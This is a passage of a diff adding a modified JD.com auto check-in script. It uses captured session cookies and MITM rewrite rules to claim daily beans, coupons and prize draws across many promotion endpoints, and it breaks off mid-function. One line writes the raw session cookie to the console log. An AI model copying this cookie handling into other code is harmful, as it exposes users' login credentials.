请使用json串数据 ↓ + +var DualKey = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var OtherKey = ""; //无限账号Cookie json串数据, 请严格按照json格式填写, 具体格式请看以下样例: + +/*以下样例为双账号("cookie"为必须,其他可选), 第一个账号仅包含Cookie, 第二个账号包含Cookie和金融签到Body: + +var OtherKey = `[{ + "cookie": "pt_key=xxx;pt_pin=yyy;" +}, { + "cookie": "pt_key=yyy;pt_pin=xxx;", + "jrBody": "reqData=xxx" +}]` + + 注1: 以上选项仅针对于JsBox或Node.js, 如果使用QX,Surge,Loon, 请使用脚本获取Cookie. + 注2: 多账号用户抓取"账号1"Cookie后, 请勿点击退出账号(可能会导致Cookie失效), 需清除浏览器资料或更换浏览器登录"账号2"抓取. + 注3: 如果使用Node.js, 需自行安装'request'模块. 例: npm install request -g + 注4: Node.js或JSbox环境下已配置数据持久化, 填写Cookie运行一次后, 后续更新脚本无需再次填写, 待Cookie失效后重新抓取填写即可. + 注5: 脚本将自动处理"持久化数据"和"手动填写cookie"之间的重复关系, 例如填写多个账号Cookie后, 后续其中一个失效, 仅需填写该失效账号的新Cookie即可, 其他账号不会被清除. + +************************* +【Surge 4.2+ 脚本配置】: +************************* + +[Script] +京东多合一签到 = type=cron,cronexp=5 0 * * *,wake-system=1,timeout=60,script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +获取京东Cookie = type=http-request,requires-body=1,pattern=^https:\/\/(api\.m|me-api|ms\.jr)\.jd\.com\/(client\.action\?functionId=signBean|user_new\/info\/GetJDUserInfoUnion\?|gw\/generic\/hy\/h5\/m\/appSign\?),script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +[MITM] +hostname = ms.jr.jd.com, me-api.jd.com, api.m.jd.com + +************************* +【Loon 2.1+ 脚本配置】: +************************* + +[Script] +cron "5 0 * * *" tag=京东多合一签到, script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +http-request ^https:\/\/(api\.m|me-api|ms\.jr)\.jd\.com\/(client\.action\?functionId=signBean|user_new\/info\/GetJDUserInfoUnion\?|gw\/generic\/hy\/h5\/m\/appSign\?) tag=获取京东Cookie, requires-body=true, script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +[MITM] +hostname = ms.jr.jd.com, me-api.jd.com, api.m.jd.com + +************************* +【 QX 1.0.10+ 脚本配置 】 : +************************* + +[task_local] +# 京东多合一签到 +5 0 * * * https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js, tag=京东多合一签到, img-url=https://raw.githubusercontent.com/NobyDa/mini/master/Color/jd.png,enabled=true + +[rewrite_local] +# 获取京东Cookie. +^https:\/\/(api\.m|me-api)\.jd\.com\/(client\.action\?functionId=signBean|user_new\/info\/GetJDUserInfoUnion\?) url script-request-header https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +# 获取钢镚签到body. +^https:\/\/ms\.jr\.jd\.com\/gw\/generic\/hy\/h5\/m\/appSign\? url script-request-body https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +[mitm] +hostname = ms.jr.jd.com, me-api.jd.com, api.m.jd.com + +*************************/ + +var LogDetails = false; //是否开启响应日志, true则开启 + +var stop = '0'; //自定义延迟签到, 单位毫秒. 默认分批并发无延迟; 该参数接受随机或指定延迟(例: '2000'则表示延迟2秒; '2000-5000'则表示延迟最小2秒,最大5秒内的随机延迟), 如填入延迟则切换顺序签到(耗时较长), Surge用户请注意在SurgeUI界面调整脚本超时; 注: 该参数Node.js或JSbox环境下已配置数据持久化, 留空(var stop = '')即可清除. + +var DeleteCookie = false; //是否清除所有Cookie, true则开启. + +var boxdis = true; //是否开启自动禁用, false则关闭. 脚本运行崩溃时(如VPN断连), 下次运行时将自动禁用相关崩溃接口(仅部分接口启用), 崩溃时可能会误禁用正常接口. (该选项仅适用于QX,Surge,Loon) + +var ReDis = false; //是否移除所有禁用列表, true则开启. 适用于触发自动禁用后, 需要再次启用接口的情况. (该选项仅适用于QX,Surge,Loon) + +var out = 0; //接口超时退出, 用于可能发生的网络不稳定, 0则关闭. 如QX日志出现大量"JS Context timeout"后脚本中断时, 建议填写6000 + +var $nobyda = nobyda(); + +var merge = {}; + +var KEY = ''; + + +async function all(cookie, jrBody) { + KEY = cookie; + merge = {}; + $nobyda.num++; + stop = '0'; + switch (stop) { + case 0: + await Promise.all([ + JingDongBean(stop), //京东京豆 + JingDongStore(stop), //京东超市 + JingRongSteel(stop, jrBody), //金融钢镚 + JingDongTurn(stop), //京东转盘 + JDFlashSale(stop), //京东闪购 + JingDongCash(stop), //京东现金红包 + JDMagicCube(stop, 2), //京东小魔方 + JingDongSubsidy(stop), //京东金贴 + JingDongGetCash(stop), //京东领现金 + JingDongShake(stop), //京东摇一摇 + JDSecKilling(stop), //京东秒杀 + // JingRongDoll(stop, 'JRDoll', '京东金融-签壹', '4D25A6F482'), + // JingRongDoll(stop, 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'), + // JingRongDoll(stop, 'JRFourDoll', '京东金融-签肆', '30C4F86264'), + // JingRongDoll(stop, 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F') + ]); + await Promise.all([ + JDUserSignPre(stop, 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'), //京东内衣馆 + JDUserSignPre(stop, 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'), //京东卡包 + // JDUserSignPre(stop, 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'), //京东定制 + JDUserSignPre(stop, 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'), //京东陪伴 + JDUserSignPre(stop, 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'), //京东鞋靴 + JDUserSignPre(stop, 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'), //京东童装馆 + JDUserSignPre(stop, 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'), //京东母婴馆 + JDUserSignPre(stop, 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'), //京东数码电器馆 + JDUserSignPre(stop, 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'), //京东女装馆 + JDUserSignPre(stop, 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'), //京东图书 + // JDUserSignPre(stop, 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'), //京东-领京豆 + JingRongDoll(stop, 'JTDouble', '京东金贴-双签', '1DF13833F7'), //京东金融 金贴双签 + // JingRongDoll(stop, 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin') //京东金融 现金双签 + ]); + await Promise.all([ + JDUserSignPre(stop, 'JDStory', '京东失眠-补贴', 'UcyW9Znv3xeyixW1gofhW2DAoz4'), //失眠补贴 + JDUserSignPre(stop, 'JDPhone', '京东手机-小时', '4Vh5ybVr98nfJgros5GwvXbmTUpg'), //手机小时达 + JDUserSignPre(stop, 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'), //京东电竞 + JDUserSignPre(stop, 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'), //京东服饰 + JDUserSignPre(stop, 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'), //京东箱包馆 + JDUserSignPre(stop, 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'), //京东校园 + JDUserSignPre(stop, 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'), //京东健康 + JDUserSignPre(stop, 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'), //京东拍拍二手 + JDUserSignPre(stop, 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'), //京东清洁馆 + JDUserSignPre(stop, 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'), //京东个人护理馆 + JDUserSignPre(stop, 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'), // 京东小家电 + // JDUserSignPre(stop, 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'), //京东珠宝馆 + // JDUserSignPre(stop, 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'), //京东美妆馆 + JDUserSignPre(stop, 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'), //京东菜场 + // JDUserSignPre(stop, 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ') //京东智能生活 + ]); + await JingRongDoll(stop, 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + default: + await JingDongBean(0); //京东京豆 + await JingDongStore(Wait(stop)); //京东超市 + await JingRongSteel(Wait(stop), jrBody); //金融钢镚 + await JingDongTurn(Wait(stop)); //京东转盘 + await JDFlashSale(Wait(stop)); //京东闪购 + await JingDongCash(Wait(stop)); //京东现金红包 + await JDMagicCube(Wait(stop), 2); //京东小魔方 + await JingDongGetCash(Wait(stop)); //京东领现金 + await JingDongSubsidy(Wait(stop)); //京东金贴 + await JingDongShake(Wait(stop)); //京东摇一摇 + await JDSecKilling(Wait(stop)); //京东秒杀 + // await JingRongDoll(Wait(stop), 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'); + // await JingRongDoll(Wait(stop), 'JRFourDoll', '京东金融-签肆', '30C4F86264'); + // await JingRongDoll(Wait(stop), 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F'); + // await JingRongDoll(Wait(stop), 'JRDoll', '京东金融-签壹', '4D25A6F482'); + // await JingRongDoll(Wait(stop), 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin'); //京东金融 现金双签 + await JingRongDoll(Wait(stop), 'JTDouble', '京东金贴-双签', '1DF13833F7'); //京东金融 金贴双签 + await JDUserSignPre(Wait(stop), 'JDStory', '京东失眠-补贴', 'UcyW9Znv3xeyixW1gofhW2DAoz4'); //失眠补贴 + await JDUserSignPre(Wait(stop), 'JDPhone', '京东手机-小时', '4Vh5ybVr98nfJgros5GwvXbmTUpg'); //手机小时达 + await JDUserSignPre(Wait(stop), 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'); //京东卡包 + await JDUserSignPre(Wait(stop), 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'); //京东内衣馆 + await JDUserSignPre(Wait(stop), 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'); //京东电竞 + // await JDUserSignPre(Wait(stop), 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'); //京东定制 + await JDUserSignPre(Wait(stop), 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'); //京东箱包馆 + await JDUserSignPre(Wait(stop), 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'); //京东服饰 + await JDUserSignPre(Wait(stop), 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'); //京东校园 + await JDUserSignPre(Wait(stop), 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'); //京东健康 + await JDUserSignPre(Wait(stop), 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'); //京东鞋靴 + await JDUserSignPre(Wait(stop), 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'); //京东童装馆 + await JDUserSignPre(Wait(stop), 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'); //京东母婴馆 + await JDUserSignPre(Wait(stop), 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'); //京东数码电器馆 + await JDUserSignPre(Wait(stop), 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'); //京东女装馆 + await JDUserSignPre(Wait(stop), 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'); //京东图书 + await JDUserSignPre(Wait(stop), 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'); //京东拍拍二手 + // await JDUserSignPre(Wait(stop), 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'); //京东美妆馆 + await JDUserSignPre(Wait(stop), 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'); //京东菜场 + await JDUserSignPre(Wait(stop), 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'); //京东陪伴 + // await JDUserSignPre(Wait(stop), 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ'); //京东智能生活 + await JDUserSignPre(Wait(stop), 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'); //京东清洁馆 + await JDUserSignPre(Wait(stop), 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'); //京东个人护理馆 + await JDUserSignPre(Wait(stop), 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'); // 京东小家电馆 + // await JDUserSignPre(Wait(stop), 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'); //京东-领京豆 + // await JDUserSignPre(Wait(stop), 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'); //京东珠宝馆 + await JingRongDoll(Wait(stop), 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + } + await Promise.all([ + TotalSteel(), //总钢镚查询 + TotalCash(), //总红包查询 + TotalBean(), //总京豆查询 + TotalSubsidy(), //总金贴查询 + TotalMoney() //总现金查询 + ]); + await notify(); //通知模块 +} + +function notify() { + return new Promise(resolve => { + try { + var bean = 0; + var steel = 0; + var cash = 0; + var money = 0; + var subsidy = 0; + var success = 0; + var fail = 0; + var err = 0; + var notify = ''; + for (var i in merge) { + bean += merge[i].bean ? Number(merge[i].bean) : 0 + steel += merge[i].steel ? Number(merge[i].steel) : 0 + cash += merge[i].Cash ? Number(merge[i].Cash) : 0 + money += merge[i].Money ? Number(merge[i].Money) : 0 + subsidy += merge[i].subsidy ? Number(merge[i].subsidy) : 0 + success += merge[i].success ? Number(merge[i].success) : 0 + fail += merge[i].fail ? Number(merge[i].fail) : 0 + err += merge[i].error ? Number(merge[i].error) : 0 + notify += merge[i].notify ? "\n" + merge[i].notify : "" + } + var Cash = merge.TotalCash && merge.TotalCash.TCash ? `${merge.TotalCash.TCash}红包` : "" + var Steel = merge.TotalSteel && merge.TotalSteel.TSteel ? `${merge.TotalSteel.TSteel}钢镚` : `` + var beans = merge.TotalBean && merge.TotalBean.Qbear ? `${merge.TotalBean.Qbear}京豆${Steel?`, `:``}` : "" + var Money = merge.TotalMoney && merge.TotalMoney.TMoney ? `${merge.TotalMoney.TMoney}现金${Cash?`, `:``}` : "" + var Subsidy = merge.TotalSubsidy && merge.TotalSubsidy.TSubsidy ? `${merge.TotalSubsidy.TSubsidy}金贴${Money||Cash?", ":""}` : "" + var Tbean = bean ? `${bean.toFixed(0)}京豆${steel?", ":""}` : "" + var TSteel = steel ? `${steel.toFixed(2)}钢镚` : "" + var TCash = cash ? `${cash.toFixed(2)}红包${subsidy||money?", ":""}` : "" + var TSubsidy = subsidy ? `${subsidy.toFixed(2)}金贴${money?", ":""}` : "" + var TMoney = money ? `${money.toFixed(2)}现金` : "" + var Ts = success ? `成功${success}个${fail||err?`, `:``}` : `` + var Tf = fail ? `失败${fail}个${err?`, `:``}` : `` + var Te = err ? `错误${err}个` : `` + var one = `【签到概览】: ${Ts+Tf+Te}${Ts||Tf||Te?`\n`:`获取失败\n`}` + var two = Tbean || TSteel ? `【签到奖励】: ${Tbean+TSteel}\n` : `` + var three = TCash || TSubsidy || TMoney ? `【其他奖励】: ${TCash+TSubsidy+TMoney}\n` : `` + var four = `【账号总计】: ${beans+Steel}${beans||Steel?`\n`:`获取失败\n`}` + var five = `【其他总计】: ${Subsidy+Money+Cash}${Subsidy||Money||Cash?`\n`:`获取失败\n`}` + var DName = merge.TotalBean && merge.TotalBean.nickname ? merge.TotalBean.nickname : "获取失败" + var cnNum = ["零", "一", "二", "三", "四", "五", "六", "七", "八", "九", "十"]; + const Name = DualKey || OtherKey.length > 1 ? `【签到号${cnNum[$nobyda.num]||$nobyda.num}】: ${DName}\n` : `` + const disables = $nobyda.read("JD_DailyBonusDisables") + const amount = disables ? disables.split(",").length : 0 + const disa = !notify || amount ? `【温馨提示】: 检测到${$nobyda.disable?`上次执行意外崩溃, `:``}已禁用${notify?`${amount}个`:`所有`}接口, 如需开启请前往BoxJs或查看脚本内第118行注释.\n` : `` + $nobyda.notify("", "", Name + one + two + three + four + five + disa + notify, { + 'media-url': $nobyda.headUrl || 'https://cdn.jsdelivr.net/gh/NobyDa/mini@master/Color/jd.png' + }); + $nobyda.headUrl = null; + if ($nobyda.isJSBox) { + $nobyda.st = (typeof($nobyda.st) == 'undefined' ? '' : $nobyda.st) + Name + one + two + three + four + five + "\n" + } + } catch (eor) { + $nobyda.notify("通知模块 " + eor.name + "‼️", JSON.stringify(eor), eor.message) + } finally { + resolve() + } + }); +} + +(async function ReadCookie() { + //**ccwav Mod code + const { + getEnvs + } = require('./ql'); + const envs = await getEnvs(); + var strck=""; + var strck2=""; + for (let i = 0; i < envs.length; i++) { + if (envs[i].status == 0) { + if (envs[i].value) { + strck = envs[i].value; + strck= (strck.match(/pt_pin=([^; ]+)(?=;?)/) && strck.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + strck2=decodeURIComponent(strck); + console.log("\n开始检测【京东账号"+(i+1)+"】"+strck2+`....\n`); + await all(envs[i].value, ""); + } + } + } +})().catch(e => { + $nobyda.notify("京东签到", "", e.message || JSON.stringify(e)) +}).finally(() => { + if ($nobyda.isJSBox) $intents.finish($nobyda.st); + $nobyda.done(); +}) + +function waitTime(t) { + return new Promise(s => setTimeout(s, t)) + } + +function JingDongBean(s) { + merge.JDBean = {}; + return new Promise(resolve => { + if (disable("JDBean")) return resolve() + setTimeout(() => { + const JDBUrl = { + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY + }, + body: 'functionId=signBeanIndex&appid=ld' + }; + $nobyda.post(JDBUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 3) { + console.log(cc); + console.log(KEY); + console.log("\n" + "京东商城-京豆Cookie失效 " + Details) + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: Cookie失效‼️" + merge.JDBean.fail = 1 + } else if (data.match(/跳转至拼图/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 需要拼图验证 ⚠️" + merge.JDBean.fail = 1 + } else if (data.match(/\"status\":\"?1\"?/)) { + console.log("\n" + "京东商城-京豆签到成功 " + Details) + if (data.match(/dailyAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.dailyAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.dailyAward.beanAward.beanCount + } else if (data.match(/continuityAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.continuityAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.continuityAward.beanAward.beanCount + } else if (data.match(/新人签到/)) { + const quantity = data.match(/beanCount\":\"(\d+)\".+今天/) + merge.JDBean.bean = quantity ? quantity[1] : 0 + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + (quantity ? quantity[1] : "无") + "京豆 🐶" + } else { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: 无京豆 🐶" + } + merge.JDBean.success = 1 + } else { + merge.JDBean.fail = 1 + console.log("\n" + "京东商城-京豆签到失败 " + Details) + if (data.match(/(已签到|新人签到)/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/人数较多|S101/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 签到人数较多 ⚠️" + } else { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-京豆", "JDBean", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +// function JingDongTurn(s) { +// merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; +// return new Promise((resolve, reject) => { +// if (disable("JDTurn")) return reject() +// const JDTUrl = { +// url: 'https://api.m.jd.com/client.action?functionId=wheelSurfIndex&body=%7B%22actId%22%3A%22jgpqtzjhvaoym%22%2C%22appSource%22%3A%22jdhome%22%7D&appid=ld', +// headers: { +// Cookie: KEY, +// } +// }; +// $nobyda.get(JDTUrl, async function(error, response, data) { +// try { +// if (error) { +// throw new Error(error) +// } else { +// const cc = JSON.parse(data) +// const Details = LogDetails ? "response:\n" + data : ''; +// if (cc.data && cc.data.lotteryCode) { +// console.log("\n" + "京东商城-转盘查询成功 " + Details) +// return resolve(cc.data.lotteryCode) +// } else { +// merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 查询错误 ⚠️" +// merge.JDTurn.fail = 1 +// console.log("\n" + "京东商城-转盘查询失败 " + Details) +// } +// } +// } catch (eor) { +// $nobyda.AnError("京东转盘-查询", "JDTurn", eor, response, data) +// } finally { +// reject() +// } +// }) +// if (out) setTimeout(reject, out + s) +// }).then(data => { +// return JingDongTurnSign(s, data); +// }, () => {}); +// } + +function JingDongTurn(s) { + if (!merge.JDTurn) merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; + return new Promise(resolve => { + if (disable("JDTurn")) return resolve(); + setTimeout(() => { + const JDTUrl = { + url: `https://api.m.jd.com/client.action?functionId=babelGetLottery`, + headers: { + Cookie: KEY + }, + body: 'body=%7B%22enAwardK%22%3A%2295d235f2a09578c6613a1a029b26d12d%22%2C%22riskParam%22%3A%7B%7D%7D&client=wh5' + }; + $nobyda.post(JDTUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + const also = merge.JDTurn.notify ? true : false + if (cc.code == 3) { + console.log("\n" + "京东转盘Cookie失效 " + Details) + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: Cookie失效‼️" + merge.JDTurn.fail = 1 + } else if (data.match(/(\"T216\"|活动结束)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 活动结束 ⚠️" + merge.JDTurn.fail = 1 + } else if (data.match(/\d+京豆/)) { + console.log("\n" + "京东商城-转盘签到成功 " + Details) + merge.JDTurn.bean += (cc.prizeName && cc.prizeName.split(/(\d+)/)[1]) || 0 + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 明细: ${merge.JDTurn.bean||`无`}京豆 🐶` + merge.JDTurn.success += 1 + if (cc.chances > 0) { + await JingDongTurnSign(2000) + } + } else if (data.match(/未中奖|擦肩而过/)) { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 状态: 未中奖 🐶` + merge.JDTurn.success += 1 + if (cc.chances > 0) { + await JingDongTurnSign(2000) + } + } else { + console.log("\n" + "京东商城-转盘签到失败 " + Details) + merge.JDTurn.fail = 1 + if (data.match(/(机会已用完|次数为0)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 已转过 ⚠️" + } else if (data.match(/(T210|密码)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 无支付密码 ⚠️" + } else { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-转盘", "JDTurn", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongSteel(s, body) { + merge.JRSteel = {}; + return new Promise(resolve => { + if (disable("JRSteel")) return resolve(); + if (!body) { + merge.JRSteel.fail = 1; + merge.JRSteel.notify = "京东金融-钢镚: 失败, 未获取签到Body ⚠️"; + return resolve(); + } + setTimeout(() => { + const JRSUrl = { + url: 'https://ms.jr.jd.com/gw/generic/hy/h5/m/appSign', + headers: { + Cookie: KEY + }, + body: body || '' + }; + $nobyda.post(JRSUrl, function(error, response, data) { + try { + if (error) throw new Error(error) + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 0) { + console.log("\n" + "京东金融-钢镚签到成功 " + Details) + merge.JRSteel.notify = `京东金融-钢镚: 成功, 获得钢镚奖励 💰` + merge.JRSteel.success = 1 + } else { + console.log("\n" + "京东金融-钢镚签到失败 " + Details) + merge.JRSteel.fail = 1 + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 15) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/未实名/)) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 账号未实名 ⚠️" + } else if (cc.resultCode == 3) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: Cookie失效‼️" + } else { + const ng = (cc.resultData && cc.resultData.resBusiMsg) || cc.resultMsg + merge.JRSteel.notify = `京东金融-钢镚: 失败, ${`原因: ${ng||`未知`}`} ⚠️` + } + } + } catch (eor) { + $nobyda.AnError("京东金融-钢镚", "JRSteel", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongShake(s) { + if (!merge.JDShake) merge.JDShake = {}, merge.JDShake.success = 0, merge.JDShake.bean = 0, merge.JDShake.notify = ''; + return new Promise(resolve => { + if (disable("JDShake")) return resolve() + setTimeout(() => { + const JDSh = { + url: 'https://api.m.jd.com/client.action?appid=vip_h5&functionId=vvipclub_shaking', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDSh, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + const also = merge.JDShake.notify ? true : false + if (data.match(/prize/)) { + console.log("\n" + "京东商城-摇一摇签到成功 " + Details) + merge.JDShake.success += 1 + if (cc.data.prizeBean) { + merge.JDShake.bean += cc.data.prizeBean.count || 0 + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次`:`成功`}, 明细: ${merge.JDShake.bean || `无`}京豆 🐶` + } else if (cc.data.prizeCoupon) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次, `:``}获得满${cc.data.prizeCoupon.quota}减${cc.data.prizeCoupon.discount}优惠券→ ${cc.data.prizeCoupon.limitStr}` + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 未知 ⚠️${also?` (多次)`:``}` + } + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + console.log("\n" + "京东商城-摇一摇签到失败 " + Details) + if (data.match(/true/)) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 无奖励 🐶${also?` (多次)`:``}` + merge.JDShake.success += 1 + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + merge.JDShake.fail = 1 + if (data.match(/(无免费|8000005|9000005)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: 已摇过 ⚠️" + } else if (data.match(/(未登录|101)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: Cookie失效‼️" + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-摇摇", "JDShake", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDUserSignPre(s, key, title, ac) { + merge[key] = {}; + if ($nobyda.isJSBox) { + return JDUserSignPre2(s, key, title, ac); + } else { + return JDUserSignPre1(s, key, title, ac); + } +} + +function JDUserSignPre1(s, key, title, acData, ask) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: 'https://api.m.jd.com/?client=wh5&functionId=qryH5BabelFloors', + headers: { + Cookie: KEY + }, + opts: { + 'filter': 'try{var od=JSON.parse(body);var 